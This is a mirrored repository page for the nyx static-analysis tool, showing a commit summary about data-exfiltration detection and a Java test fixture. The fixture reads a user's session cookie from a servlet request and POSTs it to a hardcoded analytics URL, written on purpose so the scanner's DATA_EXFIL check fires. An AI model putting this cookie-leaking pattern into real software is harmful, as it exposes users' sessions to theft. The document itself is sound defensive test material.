mirror of
https://github.com/elicpeter/nyx.git
synced 2026-06-09 19:45:13 +02:00
58f1794a4e
* feat: Enhance data exfiltration detection with source sensitivity gating for cookies and headers * feat: Implement cross-file data exfiltration detection with parameter-specific gate filters * feat: Add calibration tests and refine DATA_EXFIL severity scoring logic * feat: Introduce per-detector configuration for data exfiltration suppression * feat: Enhance DATA_EXFIL findings with destination field tracking in diagnostics and SARIF output * feat: Add tainted body and URL handling for data exfiltration detection * feat: Add integration tests and fixtures for DATA_EXFIL and SSRF detection in Go * feat: Add Java integration tests and fixtures for DATA_EXFIL detection across multiple HTTP clients * feat: Add synthetic externals handling for closure-captured variables in SSA * feat: Implement closure-based suppression for resource leak findings * feat: Add regression guards for shell-injection and taint propagation in for-of destructure patterns * feat: Implement constructor cap narrowing for data exfiltration detection in HTTP request builders * feat: Add gated sinks for data exfiltration detection in C and C++ using curl_easy_setopt * feat: Implement DATA_EXFIL cap parity for backwards analysis and add integration tests * feat: Add data exfiltration sinks for various languages and enhance documentation * refactor: Simplify formatting and improve readability in various files * refactor: Improve readability by simplifying conditional statements and adding clippy linting * docs: Update CHANGELOG and comments for data exfiltration features and configuration * docs: Clarify configuration instructions for data exfiltration trusted destinations * docs: Enhance comments for evidence routing logic in data exfiltration
28 lines
1.2 KiB
Java
28 lines
1.2 KiB
Java
// DATA_EXFIL fixture: java.net.http chain. A Sensitive source (cookie)
|
|
// flows through `BodyPublishers.ofString(payload)` and the request
|
|
// builder chain into `client.send(req)` at a hardcoded URL. SSRF must
|
|
// NOT fire (URL is a fixed string) and `Cap::DATA_EXFIL` must fire
|
|
// because the cookie is exactly the cross-boundary state the cap
|
|
// targets.
|
|
//
|
|
// Driven by `data_exfil_java_integration_tests.rs`.
|
|
import java.net.URI;
|
|
import java.net.http.HttpClient;
|
|
import java.net.http.HttpRequest;
|
|
import java.net.http.HttpRequest.BodyPublishers;
|
|
import java.net.http.HttpResponse.BodyHandlers;
|
|
import javax.servlet.http.Cookie;
|
|
import javax.servlet.http.HttpServletRequest;
|
|
|
|
public class DataExfilJdkHttpClient {
|
|
public void leak(HttpServletRequest request) throws Exception {
|
|
Cookie[] cookies = request.getCookies();
|
|
String session = cookies[0].getValue();
|
|
HttpClient client = HttpClient.newHttpClient();
|
|
HttpRequest req = HttpRequest.newBuilder()
|
|
.uri(URI.create("https://analytics.internal/track"))
|
|
.POST(BodyPublishers.ofString(session))
|
|
.build();
|
|
client.send(req, BodyHandlers.ofString());
|
|
}
|
|
}
|